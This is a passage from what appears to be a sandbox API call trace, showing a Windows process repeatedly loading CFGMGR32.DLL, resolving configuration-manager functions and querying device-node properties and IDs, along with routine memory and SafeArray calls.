0x7ffa786ddfb0 [0222.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.797] malloc (_Size=0x18) returned 0x196ef0d20e0 [0222.797] CM_Get_Device_IDA (in: dnDevInst=0x1d, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\IP_TUNNEL_VBUS\\ISATAP_0") returned 0x0 [0222.797] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0222.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x65a64190, dwHighDateTime=0x1d9eb0c)) [0222.798] SetEvent (hEvent=0x248) returned 1 [0222.802] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.802] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.802] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.805] malloc (_Size=0x18) returned 0x196ef0d1c40 [0222.805] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0222.806] malloc (_Size=0x12) returned 0x196ef0d19c0 [0222.806] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d19c0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d19c0, pulLength=0x67117d608) returned 0x0 [0222.806] free (_Block=0x196ef0d19c0) [0222.806] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0222.806] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x65a8a4f8, dwHighDateTime=0x1d9eb0c)) [0222.806] SetEvent (hEvent=0x248) returned 1 [0222.809] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0222.809] SafeArrayPutElement (psa=0x196ef1f2930, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0222.810] free (_Block=0x196ef0d1ea0) [0222.810] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856de0 [0222.810] SafeArrayGetDim (psa=0x196ef1f2930) returned 0x1 [0222.810] SafeArrayGetLBound (in: psa=0x196ef1f2930, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0222.810] SafeArrayGetUBound (in: psa=0x196ef1f2930, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0222.810] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0222.810] SafeArrayGetDim (psa=0x196ef1f2930) returned 0x1 [0222.810] SafeArrayGetUBound (in: psa=0x196ef1f2930, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0222.810] SafeArrayGetElemsize (psa=0x196ef1f2930) returned 0x8 [0222.810] SafeArrayGetElement (in: psa=0x196ef1f2930, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0222.811] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225f90, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0222.812] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0222.812] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856de0) returned 1 [0222.812] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.812] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.813] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.813] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.813] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.813] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.813] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.813] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.814] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.814] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.814] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.814] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.814] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.814] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.815] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.815] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.815] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.815] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.815] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.815] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.815] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.816] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.816] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.816] malloc (_Size=0x18) returned 0x196ef0d1be0 [0222.816] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0222.816] malloc (_Size=0x38) returned 0x196ef0d0bd0 [0222.816] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d0bd0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0bd0, pulLength=0x67117d608) returned 0x0 [0222.817] free (_Block=0x196ef0d0bd0) [0222.817] malloc (_Size=0x48) returned 0x196ef0fbb30 [0222.817] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x65ab07a0, dwHighDateTime=0x1d9eb0c)) [0222.818] SetEvent (hEvent=0x248) returned 1 [0222.821] malloc (_Size=0x18) returned 0x196ef0d1c40 [0222.821] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0222.821] free (_Block=0x196ef0d1c40) [0222.821] malloc (_Size=0x18) returned 0x196ef0d1960 [0222.821] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0222.821] free (_Block=0x196ef0d1960) [0222.821] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856de0 [0222.821] SafeArrayGetDim (psa=0x196ef1f2670) returned 0x1 [0222.821] SafeArrayGetLBound (in: psa=0x196ef1f2670, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0222.821] SafeArrayGetUBound (in: psa=0x196ef1f2670, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0222.821] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0222.821] SafeArrayGetDim (psa=0x196ef1f2670) returned 0x1 [0222.821] SafeArrayGetUBound (in: psa=0x196ef1f2670, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0222.821] SafeArrayGetElemsize (psa=0x196ef1f2670) returned 0x8 [0222.822] SafeArrayGetElement (in: psa=0x196ef1f2670, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0222.822] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e710, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0222.822] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e718, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0222.823] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0222.824] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856de0) returned 1 [0222.824] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.824] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.824] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.825] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.825] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.825] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.825] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.825] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.826] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.826] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.826] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.826] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.826] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.826] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.828] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.828] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.828] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.828] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.828] malloc (_Size=0x18) returned 0x196ef0d1a20 [0222.828] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0222.831] malloc (_Size=0x48) returned 0x196ef0fb270 [0222.831] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x65ab07a0, dwHighDateTime=0x1d9eb0c)) [0222.831] SetEvent (hEvent=0x248) returned 1 [0222.914] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.914] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.916] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.916] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.916] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.916] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.916] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.916] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.917] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.917] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.917] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.917] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.917] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.917] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0222.918] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0222.918] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0222.918] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x65b95656, dwHighDateTime=0x1d9eb0c)) [0222.918] SetEvent (hEvent=0x248) returned 1 [0222.922] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.922] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.925] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0222.925] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0222.926] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0222.926] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x65b95656, dwHighDateTime=0x1d9eb0c)) [0222.926] SetEvent (hEvent=0x248) returned 1 [0222.929] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.929] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.932] malloc (_Size=0x18) returned 0x196ef0d1f60 [0222.933] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0222.933] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0222.933] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x65bbb812, dwHighDateTime=0x1d9eb0c)) [0222.933] SetEvent (hEvent=0x248) returned 1 [0222.938] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.938] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.941] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.941] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.941] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.941] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.941] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.942] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 